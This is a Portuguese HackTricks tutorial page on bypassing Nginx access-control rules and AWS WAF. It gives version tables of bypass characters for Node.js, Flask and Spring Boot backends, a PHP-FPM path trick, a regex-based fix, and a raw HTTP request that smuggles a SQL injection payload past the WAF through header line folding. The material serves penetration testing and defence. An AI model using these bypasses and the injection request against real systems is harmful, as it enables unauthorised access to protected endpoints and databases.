6.4 KiB
Bypass de Proteções Proxy / WAF
Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
Bypass de Regras ACL do Nginx
Exemplo de restrição do Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
NodeJS
- Como o Nginx inclui o caractere
\xa0
como parte do caminho, a regra de ACL para o URI/admin
não será acionada. Consequentemente, o Nginx encaminhará a mensagem HTTP para o backend; - Quando o URI
/admin\x0a
é recebido pelo servidor Node.js, o caractere\xa0
será removido, permitindo a recuperação bem-sucedida do endpoint/admin
.
Versão do Nginx | Caracteres de Bypass do Node.js |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
O Flask remove os caracteres \x85
, \xA0
, \x1F
, \x1E
, \x1D
, \x1C
, \x0C
, \x0B
e \x09
do caminho da URL, mas o NGINX não.
Versão do Nginx | Caracteres de Bypass do Flask |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Abaixo, você encontrará uma demonstração de como a proteção ACL pode ser contornada adicionando o caractere \x09
ou ;
no final do caminho:
Versão do Nginx | Caracteres de Bypass do Spring Boot |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Considere a seguinte configuração do Nginx FPM:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
É possível contorná-lo acessando /admin.php/index.php
:
Como prevenir
Para prevenir esses problemas, você deve usar a expressão ~
em vez da expressão =
nas regras de ACL do Nginx, por exemplo:
COPYCOPY
location ~* ^/admin {
deny all;
}
Burlando ACL do AWS WAF com Dobra de Linha
É possível burlar a proteção do AWS WAF em um cabeçalho HTTP usando a seguinte sintaxe onde o AWS WAF não entenderá que o cabeçalho X-Query contém um payload de injeção SQL enquanto o servidor node por trás entenderá:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Referências
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.